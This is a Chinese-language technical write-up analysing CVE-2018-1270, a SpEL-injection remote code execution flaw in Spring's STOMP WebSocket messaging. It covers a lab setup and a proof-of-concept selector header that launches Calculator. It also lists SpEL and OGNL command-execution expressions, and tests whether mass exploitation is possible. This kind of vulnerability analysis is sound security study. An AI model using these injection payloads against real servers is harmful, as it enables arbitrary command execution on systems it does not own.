CVE-2018-1270 RCE分析

CVE-2018-1270 RCE分析

影响版本

Spring Framework 5.0 to 5.0.4
Spring Framework 4.3 to 4.3.14

漏洞分析

搭建环境

git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3

用ideal打开commplete,将src/main/resources/app.js的connect做如下修改

function connect() {
    var header  = {"selector":"new java.lang.ProcessBuilder('/Applications/Calculator.app/Contents/MacOS/Calculator').start()"};
    var socket = new SockJS('/gs-guide-websocket');
    stompClient = Stomp.over(socket);
    stompClient.connect({}, function (frame) {
        setConnected(true);
        console.log('Connected: ' + frame);
        stompClient.subscribe('/topic/greetings', function (greeting) {
            showGreeting(JSON.parse(greeting.body).content);
        }, header);
    });
}

运行Application,在网页端点击connect,并发送数据,成功利用

漏洞成因

首先看造成漏洞的代码

对java web层面安全比较熟悉的,一眼就能看出来是由expressiongetValuesetValue造成的代码执行,我这种菜鸟需要想一想了。

首先造成这种命令执行是由Spring的SPEL表达式造成的,熟悉struts2的很快就会想到OGNL造成的各种各样漏洞。SPEL是Spring专有的EL表达式,为了了解造成漏洞的底层原因,简单了解一下SPEL表达式

SPEL表达式的使用需要如下的支持

  1. 表达式:表达式是表达式语言的核心,所以表达式语言都是围绕表达式进行的,从我们角度来看是“干什么”;
  2. 解析器:用于将字符串表达式解析为表达式对象,从我们角度来看是“谁来干”;
  3. 上下文:表达式对象执行的环境,该环境可能定义变量、定义自定义函数、提供类型转换等等,从我们角度看是“在哪干”;
  4. 根对象及活动上下文对象:根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象,从我们角度看是“对谁干”。

其中表达式支持非常多的语法,能够造成代码执行的有以下2种

  1. 类类型表达式
    类类型表达式:使用“T(Type)”来表示java.lang.Class实例,“Type”必须是类全限定名,“java.lang”包除外,即该包下的类可以不指定包名;使用类类型表达式还可以进行访问类静态方法及类静态字段。
     /java.lang包类访问    
     Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class);    
     Assert.assertEquals(String.class, result1);    
     //其他包类访问    
     String expression2 = "T(cn.javass.spring.chapter5.SpELTest)";    
     Class<String> result2 = parser.parseExpression(expression2).getValue(Class.class);  
     Assert.assertEquals(SpELTest.class, result2);    
     //类静态字段访问    
     int result3=parser.parseExpression("T(Integer).MAX_VALUE").getValue(int.class);    
     Assert.assertEquals(Integer.MAX_VALUE, result3);    
     //类静态方法调用    
     int result4 = parser.parseExpression("T(Integer).parseInt('1')").getValue(int.class);    
     Assert.assertEquals(1, result4);
    
  2. 类实例化表达式
    类实例化同样使用java关键字“new”,类名必须是全限定名,但java.lang包内的类型除外,如String、Integer。
     public void testConstructorExpression() {    
         ExpressionParser parser = new SpelExpressionParser();    
         String result1 = parser.parseExpression("new String('haha')").getValue(String.class);    
         Assert.assertEquals("haha", result1);    
         Date result2 = parser.parseExpression("new java.util.Date()").getValue(Date.class);    
         Assert.assertNotNull(result2);    
     }
    

通过简单的了解,可以得出构造SPEL命令执行大概有两种方式

  1. 静态方法
     ...
     org.springframework.expression.Expression exp=parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
     ...
    
  2. new 对象
     ...
     org.springframework.expression.Expression exp=parser.parseExpression("new java.lang.ProcessBuilder((new java.lang.String[]{'calc'})).start()");
     ...
    

现在再来看一下spring-boot-messaging实现中的代码

Expression expression = sub.getSelectorExpression();
if (expression == null) {
    result.add(sessionId, subId);
} else {
    if (context == null) {
        context = new StandardEvaluationContext(message);
        context.getPropertyAccessors().add(new DefaultSubscriptionRegistry.SimpMessageHeaderPropertyAccessor());
    }

    try {
        if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
            result.add(sessionId, subId);
        }
    } catch (SpelEvaluationException var13) {
        if (this.logger.isDebugEnabled()) {
            this.logger.debug("Failed to evaluate selector: " + var13.getMessage());
        }
    } catch (Throwable var14) {
        this.logger.debug("Failed to evaluate selector", var14);
    }
}
  1. 利用sub.getSelectorExpression()得到selector的表达式
  2. 利用Boolean.TRUE.equals(expression.getValue(context, Boolean.class))获取表达式的值,从而造成命令执行。

作为补充,这里也给出ONGL的命令执行表达式

  1. getValue造成命令执行
     ...
     OgnlContext context = new OgnlContext();
     Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')",context,context.getRoot());
     ...
    
  2. setValue造成命令执行
     ...
     OgnlContext context = new OgnlContext();
     Ognl.setValue(new java.lang.ProcessBuilder((new java.lang.String[] {"calc" })).start(), context,context.getRoot());
     ...
    

批量利用

首先说一下,根据我有限的知识,这个洞目前来看还没有办法进行批量利用,可能会有,但是我这种菜鸟是没发现。现在来说一下为什么不能批量利用。

为了能够理解下面的解释,需要一点点websocket的知识。webSocket协议提供了通过一个套接字实现服务器和客户端全双工通信的功能。websocket建立通信一般有两个过程

第一步,握手。握手的过程是通过http请求实现的

GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com

可以发现这个请求比我们正常的http请求多了两个选项

Upgrade: websocket
Connection: Upgrade

这是跟服务器进行协商,我下一步需要使用websocket进行连接,允不允许。如果服务器允许会返回下列信息

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: chat

之后就可以使用websocket客户端和服务器进行愉快的websocket通信了。如果利用java的话,大概的通信流程是这样的

public class ServiceClient {
    public static void main(String... argv) {
        WebSocketClient webSocketClient = new StandardWebSocketClient();
        WebSocketStompClient stompClient = new WebSocketStompClient(webSocketClient);
        stompClient.setMessageConverter(new MappingJackson2MessageConverter());
        stompClient.setTaskScheduler(new ConcurrentTaskScheduler());

        String url = "ws://127.0.0.1:8080/hello";
        StompSessionHandler sessionHandler = new MySessionHandler();
        stompClient.connect(url, sessionHandler);

        new Scanner(System.in).nextLine(); //Don't close immediately.
    }
}

其中使用到了stomp协议,简而言之,websocket是底层协议,SockJS是WebSocket的备选方案,也是底层协议,而STOMP是基于websocket(SockJS)的上层协议。这里不懂也没关系,就是一种高层通信协议而已。

websocket通信’过程’特点:

  1. 没有同源限制
  2. 没有安全验证

从上面的分析可以知道,websocket既然没有安全验证,而且不受同源策略影响,那么是不是谁都可以来连接了。理论上是这样的,但是有一点我们需要注意,在建立连接前有一个握手的过程,这个握手的过程是有安全验证的。握手不通过是无法进行顺利通信的!在这里也就引伸出了一个安全问题websocket的劫持问题!这里就不详细介绍了,下面参考中有非常详细的介绍。

现在来分析spring-boot-messaging中websocket握手的过程是否进行了验证,为了测试写了如下代码,直接用浏览器打开代码文件

<html>
    <head>
    </head>
    <script src="https://cdn.jsdelivr.net/npm/sockjs-client@1/dist/sockjs.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/stomp.js/2.3.3/stomp.js"></script>
    <body>
    <p> test </p>
    </body>
</html>

<script>
select = 'test';
url = 'http://127.0.0.1:8080'
var ws = new SockJS(url);

var stompClient = Stomp.over(ws);

stompClient.connect({}, function(frame) {
    stompClient.subscribe('/topic/greetings', function() {}, {
      "selector": selector
    })
  });
</script>

结果

可以发现建立握手过程由于服务器端对http的头部Origin进行同源策略验证(根据Origin的概念,由浏览器发送,无法伪造),最终验证失败,所以从以上得出,以我有限的知识水平没法批量。

总结

第一次分析java框架相关的漏洞,由于自己水,真心累啊=.=,水平有限难免有错,非常欢迎批评指正!

参考

原乌云文章
先知社区chybeta
勾陈安全实验室0c0c0f
表达式语言SpEL
知乎 websocket使用答案
springmvc 使用WebSocket 和 STOMP 实现消息功能
IBM websocket劫持漏洞

(完)